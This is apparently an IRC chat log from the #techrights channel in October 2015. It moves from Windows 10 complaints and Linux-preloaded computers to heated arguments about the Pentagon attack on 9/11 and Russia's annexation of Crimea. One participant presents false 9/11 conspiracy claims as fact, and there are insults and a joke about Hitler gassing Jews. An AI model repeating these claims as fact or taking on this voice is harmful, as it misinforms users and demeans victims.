| cubexyz | http://answers.microsoft.com/en-us/windows/forum/windows_10-hardware/windows-10-has-ruined-my-computer/a91c8b28-cc3c-4919-b772-970c1ffb9a9a?auth=1 | Oct 04 19:44 |
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| TweetTuxMachines | @tuxmachines IRC Proceedings: September 13th, 2015 – October | Oct 04 19:46 |
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| cubexyz | schestowitz, keep reading the comments below that one | Oct 04 19:48 |
| cubexyz | it gets even more desperate | Oct 04 19:49 |
| cubexyz | "trying to do a recovery now for 3 hours" | Oct 04 19:50 |
| cubexyz | at least one can walk into most retail computer shops can get a chromebook | Oct 04 19:54 |
| cubexyz | a fully working computer with coreboot | Oct 04 19:54 |
| cubexyz | the fact of the matter is I can't do that with a desktop locally | Oct 04 19:55 |
| cubexyz | there was one shop that preloaded BSD, but he closed shop | Oct 04 19:55 |
| schestowitz | cheers, cubexyz | Oct 04 19:55 |
| *TweetTuxMachines @newlinuxuser favourited 'Curious about Linux? Try Linux Desktop on the...' | Oct 04 19:56 | |
| cubexyz | just learned about free geek: | Oct 04 19:59 |
| cubexyz | http://freegeektoronto.org/ | Oct 04 20:00 |
| -TechrightsBot-tr/#techrights-freegeektoronto.org | Free Geek Toronto | Oct 04 20:00 | |
| cubexyz | used computers preloaded with Linux Mint | Oct 04 20:01 |
| cubexyz | there's definitely a trend here | Oct 04 20:01 |
| cubexyz | the local bestbuy was an utter disappointment | Oct 04 20:10 |
| cubexyz | nothing but windows 10 laptops | Oct 04 20:10 |
| schestowitz | cubexyzwhat is the significance of that? | Oct 04 20:19 |
| schestowitz | Just caught up with it... | Oct 04 20:20 |
| schestowitz | Whilst away | Oct 04 20:20 |
| schestowitz | cubexyzdoes this look like a plane hit the pentagon:Sep 14 10:18 | Oct 04 20:20 |
| schestowitz | cubexyzhttp://www.maxhost.org/other/pentagon-9-11.jpgSep 14 10:19 | Oct 04 20:20 |
| schestowitz | cubexyzshouldn't there be more debris? | Oct 04 20:20 |
| schestowitz | Try another angle | Oct 04 20:20 |
| schestowitz | https://ixquick-proxy.com/do/show_picture.pl?l=english&cat=pics&c=pf&q=picture+of+pentagon+after+hit&h=1500&w=2813&th=84&tw=160&fn=Firefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg&fs=994.1%20k&el=boss_pics_2,boss_pics_1&tu=https:%2F%2Fs3-eu5.ixquick.com%2Fcgi-bin%2Fserveimage%3Furl%3Dhttp%253A%252F%252Ftse2.mm.bing.net%252Fth%253Fid%253DOIP. | Oct 04 20:20 |
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| schestowitz | 2FFirefighters_struggle_to_contain_the_fire%252C_after_the_September_11%252C_2001%252C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg | Oct 04 20:20 |
| cubexyz | holy, is that one URL? | Oct 04 20:20 |
| schestowitz | sorry https://upload.wikimedia.org/wikipedia/commons/thumb/0/0d/Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg/800px-Firefighters_struggle_to_contain_the_fire%2C_after_the_September_11%2C_2001%2C_terrorist_attack_on_the_Pentagon_010911-F-XT317-003.jpg | Oct 04 20:20 |
| -TechrightsBot-tr/#techrights-ixquick-proxy.com | NO TITLE [ http://ur1.ca/nwxn4 ] | Oct 04 20:20 | |
| schestowitz | cubexyz: yes, anonymised in a way | Oct 04 20:21 |
| schestowitz | izquick | Oct 04 20:21 |
| schestowitz | always ask what one shows you | Oct 04 20:21 |
| schestowitz | sometimes people show photos from syria regarding gaza | Oct 04 20:21 |
| schestowitz | or something which does not represent the caption | Oct 04 20:21 |
| schestowitz | esp. in the "turther" debates | Oct 04 20:21 |
| schestowitz | or accelerated videos | Oct 04 20:21 |
| schestowitz | to support the "freefall speed" theory | Oct 04 20:21 |
| cubexyz | schestowitz, I'm not doubting something hit the Pentagon but there's no pics of debris of airplane seats, wings, etc | Oct 04 20:22 |
| cubexyz | I just thought it was very odd | Oct 04 20:22 |
| cubexyz | unless all the debris ended up inside the building | Oct 04 20:22 |
| schestowitz | original source was http://www.defenseimagery.mil/imagery.html?&guid=73e7382459a00b2d05e58951e458289661880405 | Oct 04 20:22 |
| -TechrightsBot-tr/#techrights-Failure when receiving data from the peer ( status 0 @ http://www.defenseimagery.mil/imagery.html?&guid=73e7382459a00b2d05e58951e458289661880405 ) | Oct 04 20:22 | |
| schestowitz | http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg | Oct 04 20:23 |
| schestowitz | cubexyz: maybe the wings got slipped from the pressure and later picked up | Oct 04 20:23 |
| schestowitz | although they're strongly connected to the torso of the plane | Oct 04 20:23 |
| schestowitz | the wings are the hardest and most crucial part | Oct 04 20:24 |
| cubexyz | schestowitz, there was a news report about it too... the reporter talks about the lack of debris | Oct 04 20:24 |
| schestowitz | but maybe the pentagon is made of strong material with extra metal | Oct 04 20:24 |
| schestowitz | let me check | Oct 04 20:24 |
| schestowitz | if the wing get clipped they can carry on with the plane into the path made inside the building | Oct 04 20:24 |
| schestowitz | which is quite tall, more than the plane | Oct 04 20:24 |
| schestowitz | i once saw the pentagon for real, when I visited washington | Oct 04 20:25 |
| schestowitz | try to envision what would happen to a light plane when entering an armoured building | Oct 04 20:25 |
| schestowitz | and where it would end up | Oct 04 20:25 |
| cubexyz | ah, found it: | Oct 04 20:25 |
| schestowitz | the width of the plane is maybe 5 meters | Oct 04 20:26 |
| cubexyz | http://www.maxhost.org/other/9-11-cnn.mkv | Oct 04 20:26 |
| cubexyz | snopes talks about it as well | Oct 04 20:29 |
| cubexyz | just a Boeing 757 crashing into a building would leave a lot of airplane debris all over the place | Oct 04 20:29 |
| schestowitz | A missile would not have had such an effect, I don't think | Oct 04 20:29 |
| schestowitz | it wouldn't have the power and velocity to slice part the building | Oct 04 20:30 |
| schestowitz | and if it's extremely powerful, it would damage the entire pentagon | Oct 04 20:30 |
| schestowitz | so it look like heavyweight impact to me | Oct 04 20:30 |
| schestowitz | I'd expect the body of the plane to be caught inside the building | Oct 04 20:31 |
| cubexyz | http://www.snopes.com/rumors/pentagon.asp | Oct 04 20:31 |
| -TechrightsBot-tr/#techrights-www.snopes.com | snopes.com: Pentagon Attack Faked Rumor [ http://ur1.ca/nwxow ] | Oct 04 20:31 | |
| schestowitz | not scattered because it has momentum going forward | Oct 04 20:31 |
| cubexyz | yes, that must be it | Oct 04 20:31 |
| schestowitz | like a long metal pipe | Oct 04 20:31 |
| schestowitz | just simulate also the impacy of planes in WTC | Oct 04 20:31 |
| schestowitz | occam's razer | Oct 04 20:32 |
| schestowitz | impact, hole, going all in, melting gear inside, causing chain effer until the girders can't take it anymore | Oct 04 20:32 |
| schestowitz | reproducible, twice, with two planes, same structure | Oct 04 20:32 |
| schestowitz | same planes AFAIK | Oct 04 20:32 |
| schestowitz | In pentagon, no plane part can be left _behind_ | Oct 04 20:33 |
| schestowitz | because of the momentum | Oct 04 20:33 |
| schestowitz | unless the building ctapults something back | Oct 04 20:33 |
| schestowitz | and motion sideways after the body of the plane already broke a hole through the building is not like | Oct 04 20:34 |
| schestowitz | unless only one side of the plane's cockpit hits some super strong metal | Oct 04 20:34 |
| schestowitz | which bounces is sideways, a little... | Oct 04 20:34 |
| schestowitz | missiles explode on impact | Oct 04 20:35 |
| schestowitz | bombs like the 500kg ones that F* planes drop make a hold through the building | Oct 04 20:35 |
| schestowitz | go to the bottom and the centre (core), then explode | Oct 04 20:35 |
| schestowitz | but it wouldn't work sideways | Oct 04 20:35 |
| cubexyz | the four planes were: 767-200ER, another 767-200ER, 757-200 (pentagon), and the 4th one was also a 757-200 | Oct 04 20:35 |
| schestowitz | the idea is to devastate the entire building | Oct 04 20:35 |
| schestowitz | usually leaving a massive deep hole where the building used to stand | Oct 04 20:36 |
| schestowitz | look up some photos | Oct 04 20:36 |
| schestowitz | so the missile theory wouldn't be consistent with a deep path ripping the building into two | Oct 04 20:36 |
| schestowitz | the 757 isn't as big | Oct 04 20:37 |
| schestowitz | it's big, but not very wiide | Oct 04 20:37 |
| schestowitz | I think 6 seater per roq | Oct 04 20:37 |
| schestowitz | *row | Oct 04 20:37 |
| schestowitz | so around 5 meter wide in total | Oct 04 20:37 |
| schestowitz | a strong building would smash the wings | Oct 04 20:37 |
| schestowitz | it's made of light but strong material | Oct 04 20:38 |
| schestowitz | you wouldn't expect it to drag through 50 meters of brick and metal | Oct 04 20:38 |
| schestowitz | not without breaking, maybe folding backgrounds | Oct 04 20:38 |
| schestowitz | so then you'd expect fire at the side of the hole, where the engines used to be | Oct 04 20:38 |
| schestowitz | http://www.maxhost.org/other/pentagon-9-11.jpg | Oct 04 20:39 |
| schestowitz | Looking from this angle it seems possible that the third row of offices/pillars may be been impacted | Oct 04 20:39 |
| schestowitz | but it's too tall to be able to see the plane | Oct 04 20:39 |
| schestowitz | Look at http://i.usatoday.net/news/_photos/2011/09/08/Editorial-Success-and-excess-since-911-ALC4BLE-x.jpg | Oct 04 20:40 |
| schestowitz | compare the height of vehicles to the building | Oct 04 20:40 |
| schestowitz | it's a tall building | Oct 04 20:40 |
| schestowitz | so a look from above can be misleading, use trucks to understand the scale of the plane and where it can fit | Oct 04 20:40 |
| schestowitz | anyway, enough of that... I just saw msb_ pushing this old discussion again in the logs | Oct 04 20:41 |
| cubexyz | I think you've cleared it up :) | Oct 04 20:41 |
| schestowitz | "msb__http://www.judicialwatch.org/archive/2006/flight77-1.mpg That video, supposedly from a pentagon surveillance camera, shows a white cylindrical object approaching the building at the right edge of the screen around 87 seconds in. I thought to compare its height with the height of the building, but it's hard to tell how far it is from the camera." | Oct 04 20:42 |
| schestowitz | The plane is still and short compared to the vast building | Oct 04 20:42 |
| schestowitz | and even msb_, who insists WTC (both totwers) is "controlled demolition", does not believe there is coverup re pentagon | Oct 04 20:43 |
| schestowitz | "The P is 77ft high, and a 757about 12 ft high. So the object height is approximately equal to the height of a 757, 1/7th the height of the building." | Oct 04 20:43 |
| schestowitz | -msd | Oct 04 20:43 |
| schestowitz | msd | Oct 04 20:43 |
| schestowitz | msb even | Oct 04 20:43 |
| schestowitz | so, like I said, at first glance it's shocking | Oct 04 20:44 |
| schestowitz | but a top-down view is misleading | Oct 04 20:44 |
| schestowitz | it doesn't do justice to scale differences | Oct 04 20:44 |
| schestowitz | you'd need to stack up 7 757 planes on top of each other to reach the pentagon's height | Oct 04 20:44 |
| schestowitz | why are we still talking about 9/11 here? | Oct 04 20:46 |
| schestowitz | I keep seeing that the whole day on the 14th was a chat about msb_'s nonsense | Oct 04 20:46 |
| schestowitz | and he has been doing that for years | Oct 04 20:46 |
| schestowitz | discrediting this forum | Oct 04 20:46 |
| cubexyz | I only was curious about the lack of airplane debris, now I'm pretty well done talking about it :) | Oct 04 20:47 |
| cubexyz | mostly these days I talk about BIOS source code and distros | Oct 04 20:48 |
| schestowitz | well, maybe some people are so demanding that they'll ask for photos of the corpses of the pilot and flight attendants | Oct 04 20:48 |
| schestowitz | "show/prove or it didn't happen" | Oct 04 20:48 |
| schestowitz | cubexyz: I see some funny links from MinceR in the logs | Oct 04 20:49 |
| schestowitz | I check in case I missed something while away | Oct 04 20:49 |
| cubexyz | funny links? | Oct 04 20:49 |
| cubexyz | sometimes I don't really paid much attention to non-tech discussions | Oct 04 20:49 |
| schestowitz | http://www.maxhost.org/other/keytronic-trackball-keyboard.jpg | Oct 04 20:50 |
| schestowitz | eww... I remember those. | Oct 04 20:50 |
| schestowitz | http://www.maxhost.org/other/mouse-with-lots-of-buttons.png | Oct 04 20:50 |
| schestowitz | This might actually work, but applications are built for these | Oct 04 20:50 |
| schestowitz | if ported to OSuX, they might also have to assume one button | Oct 04 20:50 |
| schestowitz | long press for menu, no second button | Oct 04 20:51 |
| schestowitz | "cubexyzstallman doesn't like the term 'intellectual property'" | Oct 04 20:53 |
| schestowitz | "XFaCEcubexyz: that's the point of the article :P" | Oct 04 20:53 |
| schestowitz | Well, coming from the guy who called his party "Pirate party" | Oct 04 20:53 |
| schestowitz | reinforcing the pirate analogy/stereotype, or trying to tame it | Oct 04 20:53 |
| schestowitz | " | Oct 04 20:57 |
| schestowitz | cubexyzI don't understand Ken Starks going on about windows 10 Sep 15 06:16 | Oct 04 20:57 |
| schestowitz | cubexyzFOSS people need to talk about FOSS not windows 10 | Oct 04 20:57 |
| schestowitz | " | Oct 04 20:57 |
| schestowitz | That may not be enough | Oct 04 20:57 |
| schestowitz | speaking about what's wrong with what people CURRENTLY use can help reinforce issues they experiences | Oct 04 20:57 |
| schestowitz | *ced | Oct 04 20:57 |
| schestowitz | like dealing with malware | Oct 04 20:57 |
| schestowitz | MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant | Oct 04 20:58 |
| *schestowitz catches up with http://techrights.org/wp-content/uploads/2015/10/irc-log-techrights-13092015.html | Oct 04 20:58 | |
| -TechrightsBot-tr/#techrights-techrights.org | IRC: #techrights @ FreeNode: September 13th, 2015-September 19th, 2015 [ http://ur1.ca/nwxsp ] | Oct 04 20:58 | |
| schestowitz | based in part on cubelog logs | Oct 04 20:58 |
| schestowitz | " | Oct 04 21:00 |
| schestowitz | cubexyzsocialism is a good thingSep 16 03:39 | Oct 04 21:00 |
| schestowitz | cubexyznot sure why the American politicians think it's a dirty word | Oct 04 21:00 |
| schestowitz | " | Oct 04 21:00 |
| schestowitz | It's bad for rich people | Oct 04 21:00 |
| schestowitz | And rich people fund US politicians | Oct 04 21:00 |
| schestowitz | If it's bad for the 1%, then politicians will say it's bad "for America['s owners]" | Oct 04 21:01 |
| msb_ | Obviously something hit the Pentagon, but IMO there's insufficient evidence to determine what it was. Problems with a 757: 1. very little debris. The Pentagon was built very solidly, so a lot of 757 debris should have landed outside. It didn't. 2. A first responder, who went in before the fire started, reported seeing no passenger chairs. These are built very solidly, designed to withstand 12G or so. And they were not found | Oct 04 21:01 |
| msb_ | outside. 3. The alleged exit hole in the inner wall of the outer ring of the pentagon could not have been made by any part of the plane, since there were columns in the way: http://cosmicpenguin.com/911/images/asce-illus-2.gif The hole looks exactly like a circle of detcord (explosive rope) was hung on the inside of the wall and detonated. | Oct 04 21:01 |
| msb_ | schestowitz: BTW a missile detonates wherever its designers make it detonate. There are penetrator missiles with reinforced noses that can go through the walls of concrete bunkers and detonate inside. | Oct 04 21:03 |
| schestowitz | "msb__In this century, Russia has been about 1/1000th as imperialist as the US, which is attacking it." | Oct 04 21:04 |
| schestowitz | LOL | Oct 04 21:04 |
| schestowitz | if you said decade, well... | Oct 04 21:04 |
| schestowitz | But century, oh dear... | Oct 04 21:04 |
| schestowitz | !google russia invasions east europe | Oct 04 21:05 |
| TechrightsBot-tr | [1] - Russian Non-Invasion Causing Concern in European Capitals | http://russia-insider.com/en/russian-non-invasion-causing-concern-european-capitals/ri8139 | Oct 04 21:05 |
| TechrightsBot-tr | [2] - Put British troops in Eastern Europe to see off invasion by Vladimir ... | http://www.dailymail.co.uk/news/article-3217529/Put-British-troops-Eastern-Europe-invasion-Vladimir-Putin-s-Russia-says-new-report.html | Oct 04 21:05 |
| TechrightsBot-tr | [3] - Russia and Eastern Europe: How worried should Poland, the Baltic ... | http://www.slate.com/blogs/the_world_/2014/09/19/russia_and_eastern_europe_how_worried_should_poland_the_baltic_states_and.html | Oct 04 21:05 |
| TechrightsBot-tr | [4] - Military occupations by the Soviet Union - Wikipedia, the free ... | https://en.wikipedia.org/wiki/Military_occupations_by_the_Soviet_Union | Oct 04 21:05 |
| msb_ | I meant after 2000. | Oct 04 21:05 |
| schestowitz | selective timelines | Oct 04 21:05 |
| msb_ | Not in the last 100 years. | Oct 04 21:05 |
| schestowitz | how do you think Russia got this massive in the first place? | Oct 04 21:05 |
| schestowitz | They used to have what is now Alaska too | Oct 04 21:05 |
| schestowitz | "DaemonFCMinceR, Puerto Rico is being treated terribly by the United States." | Oct 04 21:09 |
| schestowitz | Same as Guam and the Philippines, which is just being looted, not even a territory per se | Oct 04 21:09 |
| schestowitz | (except for military bases with bait for China to worry about) | Oct 04 21:09 |
| schestowitz | msb_: want to move to Russia? | Oct 04 21:09 |
| schestowitz | Maybe somewhere near Siberia? I heard it's lovely in summer | Oct 04 21:10 |
| schestowitz | you might even get a lada and some wheat | Oct 04 21:10 |
| schestowitz | don't complain in a blog or a personal site, some vigilante might do some regretful thing... | Oct 04 21:10 |
| schestowitz | People rush out of Russia (sometimes the capital too) not just as economic migrants | Oct 04 21:11 |
| msb_ | The US govt did the 911 attack. The WTC evidence proves it. Using the 911 false-flag as the pretext, the US then bombed, missiled, strafed and destr0yed the infrastructure of Afghanistan, Iraq, Libya, and most of Syria, murdering TWO MILLION PEOPLE. The govt has admitted that its excuse of "WMD in Iraq" was a lie. Other than annexing Crimea at its overwhelming request, Russia has done nothing like this. | Oct 04 21:11 |
| schestowitz | " | Oct 04 21:13 |
| schestowitz | msb__"Accuracy in Media" is an American ultra-rightwing propaganda organization.Sep 17 03:25 | Oct 04 21:13 |
| schestowitz | msb__So is "National Review" | Oct 04 21:13 |
| schestowitz | " | Oct 04 21:13 |
| schestowitz | The latter isn't | Oct 04 21:13 |
| msb_ | That depends on one's political orientation. | Oct 04 21:15 |
| *schestowitz reads msb_ rants in favour of Russia and against US | Oct 04 21:17 | |
| schestowitz | the main issue i have is, many regard the US as "good" | Oct 04 21:17 |
| schestowitz | and russia as "evil" | Oct 04 21:17 |
| schestowitz | but both are evil | Oct 04 21:17 |
| schestowitz | Some regard saudi and singapore as developed | Oct 04 21:17 |
| schestowitz | because they have money | Oct 04 21:17 |
| schestowitz | but they're just a bunch of barbarians | Oct 04 21:17 |
| schestowitz | so we need to change perceptions, to align with reality, not with who pays most to the media | Oct 04 21:18 |
| schestowitz | !google wikileaks saudi bribes media | Oct 04 21:18 |
| TechrightsBot-tr | [1] - The Saudi Cables - WikiLeaks | https://wikileaks.org/saudi-cables/press | Oct 04 21:18 |
| TechrightsBot-tr | [2] - Wikileaks: Here's What #SaudiCables Said About Tunisia | http://www.tunisia-live.net/2015/06/22/wikileaks-heres-what-we-learned-from-saudicables-part-1/ | Oct 04 21:18 |
| TechrightsBot-tr | [3] - 'Saudi Cables release is just one tenth of what we have' – WikiLeaks to | http://rt.com/news/268948-wikileaks-saudi-documents-new/%3F | Oct 04 21:18 |
| TechrightsBot-tr | [4] - Petrodollar Bribery, Smear Campaigns: The Wikileaks Saudi Cables ... | http://www.globalresearch.ca/petrodollar-bribery-smear-campaigns-the-wikileaks-saudi-cables/5459287 | Oct 04 21:18 |
| schestowitz | msb_: for the US to be bad doesn't require Russia to be "good" | Oct 04 21:18 |
| schestowitz | something in a fight it's not good vs evil | Oct 04 21:19 |
| schestowitz | but two evils | Oct 04 21:19 |
| schestowitz | same re stalin and hitler | Oct 04 21:19 |
| msb_ | There are degrees of evil. The US has recently destr0yed 4 nations and murdered two million people. Russia has not recently done anything like that, and is trying to protect what's left of Syria from ISIL and Al Qaeda. | Oct 04 21:19 |
| schestowitz | army and media at war also frame these as "good" vs "evil", like in children's book | Oct 04 21:19 |
| schestowitz | look what russia does around crimea and ukraine | Oct 04 21:19 |
| schestowitz | not unprovoked | Oct 04 21:19 |
| schestowitz | alas, it raises hell | Oct 04 21:20 |
| msb_ | It protected the people of Crimea. | Oct 04 21:20 |
| schestowitz | lol | Oct 04 21:20 |
| msb_ | Who asked for its protection. | Oct 04 21:20 |
| schestowitz | like Israel protected Syrians when it invaded and grabbed land from Syria | Oct 04 21:20 |
| msb_ | Red Herring | Oct 04 21:20 |
| schestowitz | Like the US protected south vietnam | Oct 04 21:20 |
| msb_ | Red Herring | Oct 04 21:20 |
| schestowitz | and firebombed the place | Oct 04 21:21 |
| schestowitz | and dumped toxins | Oct 04 21:21 |
| schestowitz | killing millions for many years to come | Oct 04 21:21 |
| schestowitz | "msb__The Crimeans voted to be part of Russia." | Oct 04 21:21 |
| schestowitz | Sock Doctrine | Oct 04 21:21 |
| schestowitz | *Shock | Oct 04 21:21 |
| schestowitz | which you like to cire | Oct 04 21:21 |
| schestowitz | *cite | Oct 04 21:22 |
| msb_ | None of which has any connection whatsoever to the events in Crimea. But you mention them to distract people's attention from that discussion. | Oct 04 21:22 |
| schestowitz | people vote for militant politicians when they're under war | Oct 04 21:22 |
| msb_ | They voted against the Nazi Ukraine government, which was bombing and shelling them, and voted to join Russia. | Oct 04 21:23 |
| schestowitz | Crimea made the right decision, if they voted this way at all, given what the Russian response made of the Ukraine... little better than Syria, esp. at the east | Oct 04 21:23 |
| msb_ | If Russia had protected other regions of East Ukraine, you would now be accusing them of being violent invaders. | Oct 04 21:24 |
| schestowitz | it didn't protect | Oct 04 21:26 |
| schestowitz | it annexed | Oct 04 21:26 |
| schestowitz | protect is the occupier's language | Oct 04 21:26 |
| schestowitz | protect from who? | Oct 04 21:26 |
| schestowitz | Kiev? | Oct 04 21:26 |
| schestowitz | the US "protected" Iraq | Oct 04 21:26 |
| schestowitz | the US "protected" Vietnam | Oct 04 21:26 |
| schestowitz | China "protected" Tibet | Oct 04 21:27 |
| schestowitz | John "protected" his wife | Oct 04 21:27 |
| msb_ | Four Red Herrings in a row. | Oct 04 21:27 |
| schestowitz | nope | Oct 04 21:27 |
| msb_ | Your propaganda technique is primitive. | Oct 04 21:28 |
| msb_ | How would Russia have protected Crimeans without annexing Crimea (which is what they voted for)? Fight an ongoing hot war with the Nazi Ukraine government with no end? | Oct 04 21:29 |
| schestowitz | protect from who? | Oct 04 21:29 |
| msb_ | Yes, protect from Kiev's bombers and artillery. | Oct 04 21:29 |
| schestowitz | The examples I gave are better | Oct 04 21:29 |
| schestowitz | because then there was legitimate threat | Oct 04 21:29 |
| schestowitz | not a made up one | Oct 04 21:30 |
| schestowitz | so kiev was going to bomb crimea? | Oct 04 21:30 |
| schestowitz | Why does not not do so not? | Oct 04 21:30 |
| schestowitz | It's within range, easily... | Oct 04 21:30 |
| msb_ | "Why does not not do so not?" does not parse | Oct 04 21:31 |
| schestowitz | why does it not do so now? | Oct 04 21:32 |
| schestowitz | " | Oct 04 21:33 |
| schestowitz | XRevan86Damn, Windows 10 doesn't violate Russian Federation law about information security because EULA.Sep 18 14:53 | Oct 04 21:33 |
| schestowitz | XRevan86Source: http://rapsinews.ru/incident_news/20150918/274582334.htmlSep 18 14:54 | Oct 04 21:33 |
| schestowitz | XRevan86That doesn't really make much sense. | Oct 04 21:33 |
| -TechrightsBot-tr/#techrights-rapsinews.ru | Роскомнадзор не нашел несоответствия деятельности Microsoft законам РФ | Новости | Российское агентство правовой и судебной информации - РАПСИ [ http://ur1.ca/nwxym ] | Oct 04 21:33 | |
| schestowitz | " | Oct 04 21:33 |
| schestowitz | Circular logic there | Oct 04 21:33 |
| schestowitz | Russian reversal maybe? | Oct 04 21:33 |
| schestowitz | In Russia, EULA comply with State! | Oct 04 21:34 |
| XRevan86 | schestowitz: Seems like it. | Oct 04 21:34 |
| schestowitz | "|also, i realized canada no longer has rule of law, thanks to harper.|" | Oct 04 21:38 |
| schestowitz | Even worse based on what I heard today from some of my wife's friends in Canada | Oct 04 21:38 |
| schestowitz | They're very immigration-hostile | Oct 04 21:38 |
| schestowitz | and they seem to be more blatant about it, Rump style | Oct 04 21:38 |
| schestowitz | " | Oct 04 21:39 |
| schestowitz | MinceRhttp://www.huffingtonpost.ca/2015/05/13/omnibus-budget-bill-rewri_n_7275002.htmlSep 19 03:12 | Oct 04 21:39 |
| schestowitz | MinceRit's like he's copying orbanSep 19 03:12 | Oct 04 21:39 |
| -TechrightsBot-tr/#techrights-www.huffingtonpost.ca | Harper Government Retroactively Rewrites Gun Registry Law [ http://ur1.ca/ncn7n ] | Oct 04 21:39 | |
| schestowitz | MinceR(who's copying putin) | Oct 04 21:39 |
| schestowitz | " | Oct 04 21:39 |
| schestowitz | it's more like the US model | Oct 04 21:39 |
| schestowitz | post-Revolution | Oct 04 21:39 |
| schestowitz | they still think it's 1776 | Oct 04 21:39 |
| schestowitz | and that the British might come back to occupy in their large boats | Oct 04 21:40 |
| schestowitz | (or maybe the Mexicans with their armalites and weaponised fishing boats ^_^ ) | Oct 04 21:40 |
| schestowitz | MinceR: better try use your EU citizenship and get a work visa in the UK... | Oct 04 21:41 |
| schestowitz | there's lack of FOSS skills here | Oct 04 21:41 |
| schestowitz | at the same time, a lot of the gov. moves to FOSS and must embrace ODF | Oct 04 21:42 |
| schestowitz | then find support contracts | Oct 04 21:42 |
| schestowitz | !google hungary libreoffice conference | Oct 04 21:42 |
| TechrightsBot-tr | [1] - Migration » LibreOffice Conference | https://conference.libreoffice.org/2015/the-program/talks/migration-user-experiance-and-marketing/ | Oct 04 21:42 |
| TechrightsBot-tr | [2] - Registration » LibreOffice Conference | https://conference.libreoffice.org/2015/registration/ | Oct 04 21:42 |
| TechrightsBot-tr | [3] - LibreOffice Conference — Milan — 2013 | http://conference.libreoffice.org/talks/2013/ | Oct 04 21:42 |
| TechrightsBot-tr | [4] - Native Language » LibreOffice Conference | https://conference.libreoffice.org/2015/the-program/talks/native-language-community-and-certifification/ | Oct 04 21:42 |
| schestowitz | it was said that hungary is very backwards in the sense, in the conference a few weeks ago | Oct 04 21:43 |
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| MinceR | http://www.pidjin.net/2015/10/02/mein-car/ | Oct 04 21:46 |
| -TechrightsBot-tr/#techrights-www.pidjin.net | Mein Car - Fredo and Pidjin. The Webcomic. [ http://ur1.ca/nwy0r ] | Oct 04 21:46 | |
| MinceR | schestowitz: i can't afford to move yet | Oct 04 21:46 |
| MinceR | 215820 < schestowitz> MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant | Oct 04 21:46 |
| MinceR | until it affects them | Oct 04 21:47 |
| MinceR | then suddenly it will get very bad for them | Oct 04 21:47 |
| schestowitz | " | Oct 04 21:50 |
| schestowitz | MinceRsurprise surprise, foreign investors and local businesses are fleeing the countrySep 19 22:30 | Oct 04 21:50 |
| schestowitz | MinceRonly the companies who made a pact with the government for cheap slave labor remain on the long term | Oct 04 21:50 |
| schestowitz | " | Oct 04 21:50 |
| schestowitz | Time for egg throwing at egghead nadella? | Oct 04 21:50 |
| schestowitz | MinceR: ok, if you ever want a new challenge, maybe I can personally do what I can to assist | Oct 04 21:50 |
| schestowitz | "MinceRdumbFuckBook violates people's privacy in every way they can and most people can't even conceive of not having a dumbFuckBook account" | Oct 04 21:53 |
| schestowitz | They still have Web browser with cookie support ^_^ | Oct 04 21:53 |
| schestowitz | So they're passive useds | Oct 04 21:53 |
| schestowitz | "Many years ago I participated in a cannabis test at the SF Veterans Hospital, and smoked some atrocious NIH pot." -msb__ | Oct 04 21:55 |
| schestowitz | the experiment succeeded | Oct 04 21:56 |
| msb_ | MinceR: Wouldn't Hitler _want_ the car to emit toxic gas? (For Jews, Gypsies...) | Oct 04 21:56 |
| MinceR | duh | Oct 04 21:56 |
| MinceR | schestowitz: egg throwing doesn't fix the laws | Oct 04 21:57 |
| MinceR | nor does it help enforce antitrust/antimonopoly law | Oct 04 21:57 |
| MinceR | though if the egg was launched at a sufficiently high velocity, that would be slightly different | Oct 04 21:57 |
| msb_ | schestowitz: Please explain: " <schestowitz> the experiment succeeded" | Oct 04 21:58 |
| MinceR | schestowitz: also, the UK won't be a great destination once cameron manages to ban encryption and leave the EU | Oct 04 21:59 |
| msb_ | schestowitz: Please explain: " <schestowitz> the experiment succeeded" | Oct 04 22:03 |
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| msb_ | schestowitz: No answer. I guess "the experiment succeeded" is yet another lying smear attack, like: "msb_'s nonsense", "want to move to Russia?", "msb_ rants". You use these because you've never disproved anything I've said. So you resort to lying smears and personal insults. | Oct 04 22:11 |
| MinceR | keep repeating that, maybe someone will believe it | Oct 04 22:12 |
| msb_ | schestowitz: I expect better from you, because you do such a good job of seeing through and exposing microsoft's lies and the dangers of swpats. | Oct 04 22:15 |
| MinceR | then it's no surprise he also sees through putin's propaganda | Oct 04 22:16 |
| schestowitz | "On one recent RT show, a journalist blamed Putin for 8,000 deaths in Donbass because he promised to protect the people there, and when they asked for autonomy and were shelled by the Kiev Nazi govt, Putin did nothing." | Oct 04 22:28 |
| schestowitz | LOl!!! | Oct 04 22:28 |
| schestowitz | RT says Putin too soft | Oct 04 22:28 |
| MinceR | he should try viagra | Oct 04 22:28 |
| schestowitz | lol | Oct 04 22:28 |
| schestowitz | putintin | Oct 04 22:28 |
| schestowitz | "can't" | Oct 04 22:28 |
| MinceR | maybe it would lessen the compulsion for the fascistic macho posturing | Oct 04 22:28 |
| schestowitz | does he have offsping? | Oct 04 22:29 |
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| schestowitz | /s/he/it/ | Oct 04 22:29 |
| MinceR | dunno | Oct 04 22:29 |
| schestowitz | RT criticises Putin | Oct 04 22:30 |
| schestowitz | for being too pacifist | Oct 04 22:30 |
| schestowitz | See? RT is "tough" on Putin | Oct 04 22:30 |
| MinceR | unfortunately, putin has bred | Oct 04 22:30 |
| schestowitz | Xrvan fled | Oct 04 22:30 |
| schestowitz | maybe could take the insults of putit-in | Oct 04 22:30 |
| MinceR | nah, he parts at random times | Oct 04 22:30 |
| schestowitz | ah, ok | Oct 04 22:31 |
| schestowitz | so we have a king | Oct 04 22:31 |
| schestowitz | now he had a heir | Oct 04 22:31 |
| schestowitz | time for a spare | Oct 04 22:31 |
| schestowitz | " | Oct 04 22:33 |
| schestowitz | __martin__"a Microsoft researcher worked with computer scientists from West Virginia University and UC Santa Barbara to create a Twitter platform called "Botivist," which acts as a tool for activists to recruit volunteers on social media for campaigns"Sep 22 21:27 | Oct 04 22:33 |
